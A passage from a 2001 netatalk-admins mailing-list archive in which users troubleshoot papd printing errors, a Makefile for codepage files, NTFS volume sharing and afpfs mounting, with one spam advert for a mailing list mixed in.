handling for upgrades, asynchronous processes etc, etc.

Be careful out there.  Make certain that the cure is not
worse than the disease.

-dgl-



From netatalk.administrators-errors@umich.edu  Sat Feb 17 10:47:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA14345
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 17 Feb 2001 10:47:49 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA20906
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 17 Feb 2001 10:47:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA20894
	for netatalk.administrators-members@umich.edu; Sat, 17 Feb 2001 10:47:42 -0500 (EST)
Received: from mail.rdc1.ne.home.com (ha1.rdc1.ne.home.com [24.2.4.66])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA20844; Sat, 17 Feb 2001 10:47:40 -0500 (EST)
Received: from localhost ([65.7.107.40]) by mail.rdc1.ne.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010217151528.EBZO25724.mail.rdc1.ne.home.com@localhost>;
          Sat, 17 Feb 2001 07:15:28 -0800
X-Sender: heymichelle1@yahoo.com
From: Michelle Barbosa <heymichelle1@yahoo.com>
To: "m1" <heymichelle1@yahoo.com>
Date: Sat, 17 Feb 2001 09:46:08 -0600
Subject: A Moderated Safelist
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
Message-Id: <20010217151528.EBZO25724.mail.rdc1.ne.home.com@localhost>

Here is a new moderated safelist, 
Send out your advertisements, without the fear of being accused of Spam!
password protected, only $20.00/one time fee.
This list is updated Daily.

Thank you,
Michelle


From netatalk.administrators-errors@umich.edu  Sat Feb 17 13:51:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA17217
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 17 Feb 2001 13:51:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA24715
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 17 Feb 2001 13:51:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA24697
	for netatalk.administrators-members@umich.edu; Sat, 17 Feb 2001 13:51:18 -0500 (EST)
Received: from smtp10.xs4all.nl (smtp10.xs4all.nl [194.109.6.54])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA24674
	for <netatalk-admins@umich.edu>; Sat, 17 Feb 2001 13:51:17 -0500 (EST)
Received: from gildewg0.xs4all.nl (s340-modem1096.dial.xs4all.nl [194.109.164.72])
	by smtp10.xs4all.nl (8.11.0/8.11.0) with ESMTP id f1HIoGf24875
	for <netatalk-admins@umich.edu>; Sat, 17 Feb 2001 19:50:16 +0100 (CET)
Received: (from oorschot@localhost)
	by gildewg0.xs4all.nl (8.10.2/8.10.2) id f1HIpW406095;
	Sat, 17 Feb 2001 19:51:32 +0100
X-Authentication-Warning: gildewg0.xs4all.nl: oorschot set sender to eric@gildewg.xs4all.nl using -f
Sender: oorschot@gildewg0.xs4all.nl
To: netatalk-admins@umich.edu
Subject: papd 'connection refused'
From: eric@gildewg.xs4all.nl (Eric van Oorschot (mail))
Date: 17 Feb 2001 19:51:32 +0100
Message-ID: <87zoflywgb.fsf@gildewg0.xs4all.nl>
Lines: 19
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

I'm using netatalk 1.4.99-0.20001108 and I'm able to use my Linux
server as a fileserver for my iMac. But I can't get papd to
work. Whatever I change to the papd.conf file I keep getting the
follwing messages in my syslog.

Feb 17 19:37:31 gildewg papd[19303]: read_ppd .ppd: No such file or directory
Feb 17 19:38:00 gildewg papd[19305]: read_ppd .ppd: No such file or directory
Feb 17 19:38:04 gildewg papd[19305]: lp_conn_unix connect /dev/printer: Connection refused
Feb 17 19:38:04 gildewg papd[19305]: lp_print: lp_conn_unix: Connection refused
r

I don't have a /dev/printer. The user in papd :op=oorschot, and that's
a user that normally can printer from the Linux server. One more
thing, I'm using LPRng.

Who knows what's going wrong ?


Eric van Oorschot

From netatalk.administrators-errors@umich.edu  Sat Feb 17 14:00:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA17474
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 17 Feb 2001 14:00:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA03617
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 17 Feb 2001 14:00:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA03598
	for netatalk.administrators-members@umich.edu; Sat, 17 Feb 2001 14:00:25 -0500 (EST)
Received: from icompute.com ([209.46.8.66])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA03573
	for <netatalk-admins@umich.edu>; Sat, 17 Feb 2001 14:00:24 -0500 (EST)
Received: from [209.46.8.69] (209.46.8.69) by icompute.com with ESMTP (Eudora
 Internet Mail Server 2.2.2); Sat, 17 Feb 2001 13:00:26 -0600
X-Sender: donlee_in@icompute.com
Message-Id: <v03130300b6b477d492aa@[209.46.8.69]>
In-Reply-To: <20010211172539.A4029@rakete.joerdens.de>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 17 Feb 2001 12:57:34 -0600
To: netatalk-admins@umich.edu
From: Donald Lee <donlee@icompute.com>
Subject: Re: patch for mswindows option to netatalk-1.4b2+asun2.1.3

At 10:25 AM -0600 2/11/01, Frank Joerdens wrote:
>The codepage support still seems to be broken in 1.5pre3 (interestingly,
>it complains if it can't find the nls directory, so it _is_ looking for
>the codepage . . . but somehow it doesn't get applied). The mswindows
>option does work, though, in that I can't rename folders so as to
>contain ???, for instance. I am using netatalk-1.4b2+asun2.1.3 with a SuSE
>specific patch, where the codepage support works, but where I don't have
>the mswindows option. I am wondering, does anyone have a patch to
>include the mswindows option into this version?
>
>Cheers, Frank

When I built my netatalk, I had trouble with the part opf the makefile
that built the nls stuff.  I found that if you built from a clean
un-tar of the package, it would build fine, but if you ran it a second time
it would fail.  I don't remember the details, but as I recall, the makefile
that built some of this stuff didn't re-do one of its steps if the file
already existed.

As I recall, this was my fix:

(etc/afpd/nls/Makefile)

SRC = makecode.c parsecode.c
OBJ = makecode.o parsecode.o

INCPATH= -I../../../include
CFLAGS= ${DEFS} ${OPTOPTS} ${INCPATH}

all:: parsecode makecode

parsecode: parsecode.o
        ${CC} ${CFLAGS} ${LDFLAGS} parsecode.o -o parsecode

makecode: makecode.o
        ${CC} ${CFLAGS} ${LDFLAGS} makecode.o -o makecode

install:
        ./makecode		# <<< ADD THIS LINE ***************
        -mkdir ${RESDIR}/nls
        ${INSTALL} -m 644 maccode.* ${RESDIR}/nls

clean:
        rm -f *.o
        rm -f makecode parsecode


-dgl-




From netatalk.administrators-errors@umich.edu  Sat Feb 17 14:20:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA17943
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 17 Feb 2001 14:20:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA29431
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 17 Feb 2001 14:20:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA29416
	for netatalk.administrators-members@umich.edu; Sat, 17 Feb 2001 14:20:37 -0500 (EST)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA29385
	for <netatalk-admins@umich.edu>; Sat, 17 Feb 2001 14:20:36 -0500 (EST)
Received: from n246-28.berlin.snafu.de ([195.21.246.28] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14UCuP-0006b8-00
	for netatalk-admins@umich.edu; Sat, 17 Feb 2001 20:20:41 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id UAA29221
	for <netatalk-admins@umich.edu>; Sat, 17 Feb 2001 20:19:47 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: papd 'connection refused'
Date: Sat, 17 Feb 2001 20:18:22 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <87zoflywgb.fsf@gildewg0.xs4all.nl>
In-Reply-To: <87zoflywgb.fsf@gildewg0.xs4all.nl>
MIME-Version: 1.0
Message-Id: <01021720162600.19689@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA17943

On Sat, 17 Feb 2001, Eric van Oorschot (mail wrote:
> I'm using netatalk 1.4.99-0.20001108 and I'm able to use my Linux
> server as a fileserver for my iMac. But I can't get papd to
> work. Whatever I change to the papd.conf file I keep getting the
> follwing messages in my syslog.
> 
> Feb 17 19:37:31 gildewg papd[19303]: read_ppd .ppd: No such file or directory
> Feb 17 19:38:00 gildewg papd[19305]: read_ppd .ppd: No such file or directory
> Feb 17 19:38:04 gildewg papd[19305]: lp_conn_unix connect /dev/printer: Connection refused
> Feb 17 19:38:04 gildewg papd[19305]: lp_print: lp_conn_unix: Connection refused
> r
> 
> I don't have a /dev/printer. The user in papd :op=oorschot, and that's
> a user that normally can printer from the Linux server. One more
> thing, I'm using LPRng.
> 
> Who knows what's going wrong ?
> 
> 
> Eric van Oorschot

You missed to include your complete papd.conf entry, so I can only guess.
But I had the the same "Connection refused" errors.
One of my papd.conf entries is:

Lasie2:\
        :pr=|/usr/bin/lpr -Plasie:\
        :op=deltaman:\
        :pd=/etc/atalk/LC890.ppd:

where "deltaman" is a mortal user, lasie a printer in printcap, and "/etc/atalk/LC890.ppd" the path
to my PPD file.

I.e. I piped the data through lpr instead of giving just the name of my printcap printer.
Don't know what goes wrong with your PPD file.

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Sat Feb 17 19:56:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA23187
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 17 Feb 2001 19:56:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA11068
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 17 Feb 2001 19:56:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA11048
	for netatalk.administrators-members@umich.edu; Sat, 17 Feb 2001 19:56:22 -0500 (EST)
Received: from xaos.homeip.net (CPE-144-132-106-169.vic.bigpond.net.au [144.132.106.169])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA10994
	for <netatalk-admins@umich.edu>; Sat, 17 Feb 2001 19:56:20 -0500 (EST)
Received: (qmail 4905 invoked by uid 500); 18 Feb 2001 00:56:24 -0000
Date: Sun, 18 Feb 2001 11:56:24 +1100
From: Benjamin Lee <benjaminlee@consultant.com>
To: "Eric van Oorschot \(mail\)" <eric@gildewg.xs4all.nl>
Cc: netatalk-admins@umich.edu
Subject: Re: papd 'connection refused'
Message-ID: <20010218115624.A4878@xaos.home.ben>
Reply-To: Benjamin Lee <ben@realthought.net>
References: <87zoflywgb.fsf@gildewg0.xs4all.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <87zoflywgb.fsf@gildewg0.xs4all.nl>; from eric@gildewg.xs4all.nl on Sat, Feb 17, 2001 at 07:51:32PM +0100


I think this is a lpd / LPRng or kernel related error.

1. Maybe lpd isn't running. Or permissions aren't set properly.

2. Or parport_pc, lp, parport kernel modules were not loaded.





On Sat, Feb 17, 2001 at 07:51:32PM +0100, Eric van Oorschot (mail) wrote:
> I'm using netatalk 1.4.99-0.20001108 and I'm able to use my Linux
> server as a fileserver for my iMac. But I can't get papd to
> work. Whatever I change to the papd.conf file I keep getting the
> follwing messages in my syslog.
> 
> Feb 17 19:37:31 gildewg papd[19303]: read_ppd .ppd: No such file or directory
> Feb 17 19:38:00 gildewg papd[19305]: read_ppd .ppd: No such file or directory
> Feb 17 19:38:04 gildewg papd[19305]: lp_conn_unix connect /dev/printer: Connection refused
> Feb 17 19:38:04 gildewg papd[19305]: lp_print: lp_conn_unix: Connection refused
> r
> 
> I don't have a /dev/printer. The user in papd :op=oorschot, and that's
> a user that normally can printer from the Linux server. One more
> thing, I'm using LPRng.
> 
> Who knows what's going wrong ?
> 
> 
> Eric van Oorschot

-- 
B.      http://makelinux.org/    "Always real."    http://realthought.net/
__________________________________________________________________________
It destroys one's nerves to be amiable every day to the same human being.
		-- Benjamin Disraeli

From netatalk.administrators-errors@umich.edu  Sat Feb 17 21:10:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA25449
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 17 Feb 2001 21:10:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA05612
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 17 Feb 2001 21:10:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA05587
	for netatalk.administrators-members@umich.edu; Sat, 17 Feb 2001 21:10:18 -0500 (EST)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA05526
	for <netatalk-admins@umich.edu>; Sat, 17 Feb 2001 21:10:16 -0500 (EST)
Received: from n65-163.berlin.snafu.de ([194.42.65.163] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14UJIr-0003lJ-00
	for netatalk-admins@umich.edu; Sun, 18 Feb 2001 03:10:21 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id DAA26538
	for <netatalk-admins@umich.edu>; Sun, 18 Feb 2001 03:09:52 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: papd 'connection refused'
Date: Sun, 18 Feb 2001 03:04:56 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <87zoflywgb.fsf@gildewg0.xs4all.nl> <01021720162600.19689@athlet>
In-Reply-To: <01021720162600.19689@athlet>
MIME-Version: 1.0
Message-Id: <01021803070301.26204@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id VAA25449

On Sat, 17 Feb 2001, Carsten Neumann wrote:
[snip]
> One of my papd.conf entries is:
> 
> Lasie2:\
>         :pr=|/usr/bin/lpr -Plasie:\
>         :op=deltaman:\
>         :pd=/etc/atalk/LC890.ppd:
> 
> where "deltaman" is a mortal user, lasie a printer in printcap, and "/etc/atalk/LC890.ppd" the path
> to my PPD file.
> 
> I.e. I piped the data through lpr instead of giving just the name of my printcap printer.
> Don't know what goes wrong with your PPD file.

Forgot to mention that this piping through lpr fixed my problem. ;-)

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Sun Feb 18 10:00:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA12257
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 18 Feb 2001 10:00:40 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA23646
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 18 Feb 2001 10:00:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA23630
	for netatalk.administrators-members@umich.edu; Sun, 18 Feb 2001 10:00:32 -0500 (EST)
Received: from smtp6.xs4all.nl (smtp6.xs4all.nl [194.109.6.48])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA23588
	for <netatalk-admins@umich.edu>; Sun, 18 Feb 2001 10:00:30 -0500 (EST)
Received: from gildewg0.xs4all.nl (s340-modem1412.dial.xs4all.nl [194.109.165.132])
	by smtp6.xs4all.nl (8.9.3/8.9.3) with ESMTP id QAA13909;
	Sun, 18 Feb 2001 16:00:34 +0100 (CET)
Received: (from oorschot@localhost)
	by gildewg0.xs4all.nl (8.10.2/8.10.2) id f1IF0tC00324;
	Sun, 18 Feb 2001 16:00:55 +0100
X-Authentication-Warning: gildewg0.xs4all.nl: oorschot set sender to eric@gildewg.xs4all.nl using -f
Sender: oorschot@gildewg0.xs4all.nl
To: deltor@snafu.de
Cc: netatalk-admins@umich.edu
Subject: Re: papd 'connection refused' *** SOLVED ***
References: <87zoflywgb.fsf@gildewg0.xs4all.nl> <01021720162600.19689@athlet> <01021803070301.26204@athlet>
From: eric@gildewg.xs4all.nl (Eric van Oorschot (mail))
Date: 18 Feb 2001 16:00:54 +0100
In-Reply-To: Carsten Neumann's message of "Sun, 18 Feb 2001 03:04:56 +0100"
Message-ID: <87u25sdoih.fsf_-_@gildewg0.xs4all.nl>
Lines: 26
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Carsten Neumann <deltor@snafu.de> writes:

> On Sat, 17 Feb 2001, Carsten Neumann wrote:
> [snip]
> > One of my papd.conf entries is:
> > 
> > Lasie2:\
> >         :pr=|/usr/bin/lpr -Plasie:\
> >         :op=deltaman:\
> >         :pd=/etc/atalk/LC890.ppd:
> > 
> > where "deltaman" is a mortal user, lasie a printer in printcap, and "/etc/atalk/LC890.ppd" the path
> > to my PPD file.
> > 
> > I.e. I piped the data through lpr instead of giving just the name of my printcap printer.
> > Don't know what goes wrong with your PPD file.
> 
> Forgot to mention that this piping through lpr fixed my problem. ;-)
> 
> Regards
> 
> 	Carsten
Thanks to everybody for their advices. Changing my papd.conf and
adding the "|/usr/bin/lpr -Plp:" part solved the problem. Now I can
print from my iMac on the printer connected to the Linux server.
 

From netatalk.administrators-errors@umich.edu  Sun Feb 18 11:00:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13292
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 18 Feb 2001 11:00:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA29287
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 18 Feb 2001 11:00:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA29256
	for netatalk.administrators-members@umich.edu; Sun, 18 Feb 2001 11:00:27 -0500 (EST)
Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA29213
	for <netatalk-admins@umich.edu>; Sun, 18 Feb 2001 11:00:25 -0500 (EST)
Received: from fwd02.sul.t-online.com 
	by mailout06.sul.t-online.com with smtp 
	id 14UWGF-0006gP-07; Sun, 18 Feb 2001 17:00:31 +0100
Received: from server.linau.de (320064501249-0002@[217.87.110.103]) by fmrl02.sul.t-online.com
	with esmtp id 14UWG2-16OmFUC; Sun, 18 Feb 2001 17:00:18 +0100
Received: from [192.168.2.2] (pulsar.linau.de [192.168.2.2])
	by server.linau.de (8.9.3/8.9.3) with ESMTP id QAA29633
	for <netatalk-admins@umich.edu>; Sun, 18 Feb 2001 16:19:05 +0100
Mime-Version: 1.0
Message-Id: <p04310101b6b5947e11cf@[192.168.2.2]>
In-Reply-To: <87zoflywgb.fsf@gildewg0.xs4all.nl>
References: <87zoflywgb.fsf@gildewg0.xs4all.nl>
X-Mailreader: Eudora 4.3.1 Macintosh
Date: Sun, 18 Feb 2001 16:03:58 +0100
To: netatalk-admins@umich.edu
From: Christian Schmidt <ChriSchmiLi@gmx.de>
Subject: Re: papd 'connection refused'
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Sender: 320064501249-0002@t-dialin.net

Eric van Oorschot (mail schrieb am 17.02.2001:

>  Feb 17 19:37:31 gildewg papd[19303]: read_ppd .ppd: No such file or directory

Have a look at your ppd entry in papd.conf....
Does the ppd file specified there exist? Have you typed the name 
and/or path correctly?

hth,
Christian
-- 
Made with a Macintosh...
ChriSchmi@t-online.de
http://home.t-online.de/home/chrischmi/

From netatalk.administrators-errors@umich.edu  Sun Feb 18 20:23:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA22629
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 18 Feb 2001 20:23:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA25144
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 18 Feb 2001 20:23:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA25120
	for netatalk.administrators-members@umich.edu; Sun, 18 Feb 2001 20:23:43 -0500 (EST)
Received: from warrior-outbound.servers.plus.net ([212.159.14.227])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id UAA25065
	for <netatalk-admins@umich.edu>; Sun, 18 Feb 2001 20:23:42 -0500 (EST)
Received: (qmail 8592 invoked from network); 19 Feb 2001 01:23:44 -0000
Received: from unknown (HELO 212.159.20.182) (212.159.20.182)
  by warrior with SMTP; 19 Feb 2001 01:23:44 -0000
Message-ID: <3A8FFED8.3970@greenonline.co.uk>
Date: Sun, 18 Feb 2001 16:56:56 +0000
From: Mark Jenkins <mark@greenonline.co.uk>
Reply-To: mark@greenonline.co.uk
Organization: GreenOnline
X-Mailer: Mozilla 3.0 (Macintosh; I; 68K)
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: NTFS over Netatalk
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I'm running Mandrake 7.0  (kernel 2.2.14-15), and netatalk-1.4b2.  I
have an NTFS partition mounted that I wish to share over Appletalk. The
server name appears in the chooser, and the volume is listed when I log
on. However when I click on it it says that the attempted connection
failed.  A  shared ext2fs partition on the same machine mounts just fine
on the mac.  Is it not possible for netatalk to mount NTFS partitions
over AppleTalk, just ext2fs?  Would it be better for me to use the
in-built kernel support that I have not, as yet, tried?

I have looked thru' the READMEs, netatak web site and HOWTOs but not
seen an answer. Can anyone help?

Thanks,
Mark
-- 
Mark Graham Jenkins
Web Administrator
GreenOnline
Green Productions

Tel: + 44 (0) 1494 527 428
Fax: + 44 (0) 1494 527 428
Mobile 0780 1366519
E-mail : mark@greenonline.co.uk
Web: http://www.greenonline.co.uk

From netatalk.administrators-errors@umich.edu  Sun Feb 18 22:51:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA24794
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 18 Feb 2001 22:51:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA26363
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 18 Feb 2001 22:51:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA26348
	for netatalk.administrators-members@umich.edu; Sun, 18 Feb 2001 22:51:51 -0500 (EST)
Received: from VL-MS-MR002.sc1.videotron.ca (relais.videotron.ca [24.201.245.36])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA26307
	for <netatalk-admins@umich.edu>; Sun, 18 Feb 2001 22:51:50 -0500 (EST)
Received: from fnac.net ([24.200.106.13]) by
          VL-MS-MR002.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id G8ZK2I04.I1S for <netatalk-admins@umich.edu>; Sun,
          18 Feb 2001 22:51:54 -0500 
Sender: marco@fnac.net
Message-ID: <3A8F3871.19787393@fnac.net>
Date: Sat, 17 Feb 2001 22:50:26 -0400
From: marco a <marc.angles1@fnac.net>
X-Mailer: Mozilla 4.75 [fr] (X11; U; Linux 2.2.17-14 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: afps connection refused HELP!!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

i installed netatalk and it seem to be nice :
my linuxbox shared disk mount on the mac !
just one thing : the name dont appears in the chooser list...
i mount it with the ip...  fine

know i want to mount a mac volume in the linuxbox...
more dificult for me... im very newbie...
afpfs is correctly insered (i think... the way i use to verifie is to
insmod another time afpfs... he says :already insered...)
afptest find 3 servers all in my linuxbox... no remote... but the mac is
running with appleshare, tcp/ip, appletalk, i have no problem to mount
my volume on another mac...

afpmount says : cant find server

i have two ethernet pcmcia devices, one for the internet, the other for
my localnetwork.

how to surely know the mac server name ? (i know it,s a stupid question
but quite usefull for me)

is there a special directory to move the afpfs folder/files

i try nbplkup too, no more results

can you help me ??



From netatalk.administrators-errors@umich.edu  Mon Feb 19 06:13:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA01606
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Feb 2001 06:13:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA16860
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Feb 2001 06:13:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA16841
	for netatalk.administrators-members@umich.edu; Mon, 19 Feb 2001 06:13:19 -0500 (EST)
Received: from igw1.edipresse.ch (igw1.edipresse.ch [194.209.141.131])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA16800
	for <netatalk-admins@umich.edu>; Mon, 19 Feb 2001 06:13:18 -0500 (EST)
Received: (from root@localhost)
	by igw1.edipresse.ch (8.9.3/8.9.3) id MAA29752;
	Mon, 19 Feb 2001 12:13:17 +0100 (MET)
Received: from unknown(172.16.11.46) by igw1.edipresse.ch via smap (V2.1+anti-relay+anti-spam)
	id xma029748; Mon, 19 Feb 01 12:13:09 +0100
Received: by meloe.edipresse.ch with Internet Mail Service (5.5.2653.19)
	id <DDR1550Z>; Mon, 19 Feb 2001 12:12:26 +0100
Message-ID: <9F9FCF268C46D411B60600508B6F8726A27676@meloe.edipresse.ch>
From: Michalowski Thierry <Thierry.Michalowski@edipresse.ch>
To: "'mark@greenonline.co.uk'" <mark@greenonline.co.uk>,
        netatalk-admins@umich.edu
Subject: RE: NTFS over Netatalk
Date: Mon, 19 Feb 2001 12:12:19 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C09A64.D2CD7060"

